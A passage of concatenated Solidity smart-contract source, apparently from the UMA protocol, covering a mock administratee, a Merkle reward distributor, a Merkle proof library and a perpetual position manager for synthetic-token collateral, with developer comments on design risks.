shutdown on the provided financial contract. * @param financialContract address of the FinancialContract to be shut down. */ function callEmergencyShutdown(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.emergencyShutdown(); } /** * @notice Calls remargin on the provided financial contract. * @param financialContract address of the FinancialContract to be remargined. */ function callRemargin(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.remargin(); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/AdministrateeInterface.sol"; // A mock implementation of AdministrateeInterface, taking the place of a financial contract. contract MockAdministratee is AdministrateeInterface { uint256 public timesRemargined; uint256 public timesEmergencyShutdown; function remargin() external override { timesRemargined++; } function emergencyShutdown() external override { timesEmergencyShutdown++; } function pfc() external view override returns (FixedPoint.Unsigned memory) { return FixedPoint.fromUnscaledUint(0); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * Inspired by: * - https://github.com/pie-dao/vested-token-migration-app * - https://github.com/Uniswap/merkle-distributor * - https://github.com/balancer-labs/erc20-redeemable * * @title MerkleDistributor contract. * @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify * multiple Merkle roots distributions with customized reward currencies. * @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly. */ contract MerkleDistributor is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // A Window maps a Merkle root to a reward token address. struct Window { // Merkle root describing the distribution. bytes32 merkleRoot; // Currency in which reward is processed. IERC20 rewardToken; // IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical // data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code> // <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier // for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply // go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>. string ipfsHash; } // Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`. struct Claim { uint256 windowIndex; uint256 amount; uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim. address account; bytes32[] merkleProof; } // Windows are mapped to arbitrary indices. mapping(uint256 => Window) public merkleWindows; // Index of next created Merkle root. uint256 public nextCreatedIndex; // Track which accounts have claimed for each window index. // Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract. mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap; /**************************************** * EVENTS ****************************************/ event Claimed( address indexed caller, uint256 windowIndex, address indexed account, uint256 accountIndex, uint256 amount, address indexed rewardToken ); event CreatedWindow( uint256 indexed windowIndex, uint256 rewardsDeposited, address indexed rewardToken, address owner ); event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency); event DeleteWindow(uint256 indexed windowIndex, address owner); /**************************** * ADMIN FUNCTIONS ****************************/ /** * @notice Set merkle root for the next available window index and seed allocations. * @notice Callable only by owner of this contract. Caller must have approved this contract to transfer * `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the * owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all * claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur * because we do not segregate reward balances by window, for code simplicity purposes. * (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must * subsequently transfer in rewards or the following situation can occur). * Example race situation: * - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and * claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101. * - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner * correctly set `rewardsToDeposit` this time. * - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence: * (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens. * (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens. * (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens. * - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would * succeed and the second claim would fail, even though both claimants would expect their claims to succeed. * @param rewardsToDeposit amount of rewards to deposit to seed this allocation. * @param rewardToken ERC20 reward token. * @param merkleRoot merkle root describing allocation. * @param ipfsHash hash of IPFS object, conveniently stored for clients */ function setWindow( uint256 rewardsToDeposit, address rewardToken, bytes32 merkleRoot, string memory ipfsHash ) external onlyOwner { uint256 indexToSet = nextCreatedIndex; nextCreatedIndex = indexToSet.add(1); _setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash); } /** * @notice Delete merkle root at window index. * @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state. * @param windowIndex merkle root index to delete. */ function deleteWindow(uint256 windowIndex) external onlyOwner { delete merkleWindows[windowIndex]; emit DeleteWindow(windowIndex, msg.sender); } /** * @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly. * @dev Callable only by owner. * @param rewardCurrency rewards to withdraw from contract. * @param amount amount of rewards to withdraw. */ function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner { IERC20(rewardCurrency).safeTransfer(msg.sender, amount); emit WithdrawRewards(msg.sender, amount, rewardCurrency); } /**************************** * NON-ADMIN FUNCTIONS ****************************/ /** * @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail * if any individual claims within the batch would fail. * @dev Optimistically tries to batch together consecutive claims for the same account and same * reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method * is to pass in an array of claims sorted by account and reward currency. * @param claims array of claims to claim. */ function claimMulti(Claim[] memory claims) external { uint256 batchedAmount = 0; uint256 claimCount = claims.length; for (uint256 i = 0; i < claimCount; i++) { Claim memory _claim = claims[i]; _verifyAndMarkClaimed(_claim); batchedAmount = batchedAmount.add(_claim.amount); // If the next claim is NOT the same account or the same token (or this claim is the last one), // then disburse the `batchedAmount` to the current claim's account for the current claim's reward token. uint256 nextI = i + 1; address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken); if ( nextI == claimCount || // This claim is last claim. claims[nextI].account != _claim.account || // Next claim account is different than current one. address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken // Next claim reward token is different than current one. ) { IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount); batchedAmount = 0; } } } /** * @notice Claim amount of reward tokens for account, as described by Claim input object. * @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the * values stored in the merkle root for the `_claim`'s `windowIndex` this method * will revert. * @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof. */ function claim(Claim memory _claim) public { _verifyAndMarkClaimed(_claim); merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount); } /** * @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at * `windowIndex`. * @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`. * The onus is on the Owner of this contract to submit only valid Merkle roots. * @param windowIndex merkle root to check. * @param accountIndex account index to check within window index. * @return True if claim has been executed already, False otherwise. */ function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) { uint256 claimedWordIndex = accountIndex / 256; uint256 claimedBitIndex = accountIndex % 256; uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } /** * @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given * window index. * @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof. * @return valid True if leaf exists. */ function verifyClaim(Claim memory _claim) public view returns (bool valid) { bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex)); return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf); } /**************************** * PRIVATE FUNCTIONS ****************************/ // Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`. function _setClaimed(uint256 windowIndex, uint256 accountIndex) private { uint256 claimedWordIndex = accountIndex / 256; uint256 claimedBitIndex = accountIndex % 256; claimedBitMap[windowIndex][claimedWordIndex] = claimedBitMap[windowIndex][claimedWordIndex] | (1 << claimedBitIndex); } // Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root. function _setWindow( uint256 windowIndex, uint256 rewardsDeposited, address rewardToken, bytes32 merkleRoot, string memory ipfsHash ) private { Window storage window = merkleWindows[windowIndex]; window.merkleRoot = merkleRoot; window.rewardToken = IERC20(rewardToken); window.ipfsHash = ipfsHash; emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender); window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited); } // Verify claim is valid and mark it as completed in this contract. function _verifyAndMarkClaimed(Claim memory _claim) private { // Check claimed proof against merkle window at given index. require(verifyClaim(_claim), "Incorrect merkle proof"); // Check the account has not yet claimed for this window. require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window"); // Proof is correct and claim has not occurred yet, mark claimed complete. _setClaimed(_claim.windowIndex, _claim.accountIndex); emit Claimed( msg.sender, _claim.windowIndex, _claim.account, _claim.accountIndex, _claim.amount, address(merkleWindows[_claim.windowIndex].rewardToken) ); } } pragma solidity ^0.6.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/implementation/Constants.sol"; import "../common/FundingRateApplier.sol"; /** * @title Financial contract with priceless position management. * @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying * on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token. */ contract PerpetualPositionManager is FundingRateApplier { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // Expiry price pulled from the DVM in the case of an emergency shutdown. FixedPoint.Unsigned public emergencyShutdownPrice; /**************************************** * EVENTS * ****************************************/ event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount); event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp); event SettleEmergencyShutdown( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); /**************************************** * MODIFIERS * ****************************************/ modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PerpetualPositionManager. * @dev Deployer of this contract should consider carefully which parties have ability to mint and burn * the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts * can mint new tokens, which could be used to steal all of this contract's locked collateral. * We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles) * is assigned to this contract, whose sole Minter role is assigned to this contract, and whose * total supply is 0 prior to construction of this contract. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _tokenAddress ERC20 token used as synthetic token. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract. * @param _minSponsorTokens minimum number of tokens that must exist at any time in a position. * @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index). * @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production. */ constructor( uint256 _withdrawalLiveness, address _collateralAddress, address _tokenAddress, address _finderAddress, bytes32 _priceIdentifier, bytes32 _fundingRateIdentifier, FixedPoint.Unsigned memory _minSponsorTokens, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FundingRateApplier( _fundingRateIdentifier, _collateralAddress, _finderAddress, _configStoreAddress, _tokenScaling, _timerAddress ) { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier)); withdrawalLiveness = _withdrawalLiveness; tokenCurrency = ExpandedIERC20(_tokenAddress); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(msg.sender); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)) ); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external notEmergencyShutdown() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime() ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); // No pending withdrawal require message removed to save bytecode. require(positionData.withdrawalRequestPassTimestamp != 0); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount * ` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev This contract must have the Minter role for the `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens)); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); // Note: revert reason removed to save bytecode. require(tokenCurrency.mint(msg.sender, numTokens.rawValue)); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral)); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`. * This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens. * @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt from the sponsor's debt position. */ function repay(FixedPoint.Unsigned memory numTokens) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue); // Transfer the tokens back from the sponsor and burn them. tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or * remaining collateral for underlying at the prevailing price defined by a DVM vote. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @dev This contract must have the Burner role for the `tokenCurrency`. * @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this * function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleEmergencyShutdown() external isEmergencyShutdown() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert. if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) { emergencyShutdownPrice = _getOracleEmergencyShutdownPrice(); } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = _getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with // the funding rate applied to the outstanding token debt. FixedPoint.Unsigned memory tokenDebtValueInCollateral = _getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice); FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan(positionCollateral) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the `settleEmergencyShutdown` function. */ function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() { // Note: revert reason removed to save bytecode. require(msg.sender == _getFinancialContractsAdminAddress()); emergencyShutdownTimestamp = getCurrentTime(); _requestOraclePrice(emergencyShutdownTimestamp); emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override { return; } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory collateralAmount) { // Note: do a direct access to avoid the validity check. return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral)); } /** * @notice Accessor method for the total collateral stored within the PerpetualPositionManager. * @return totalCollateral amount of all collateral within the position manager. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return 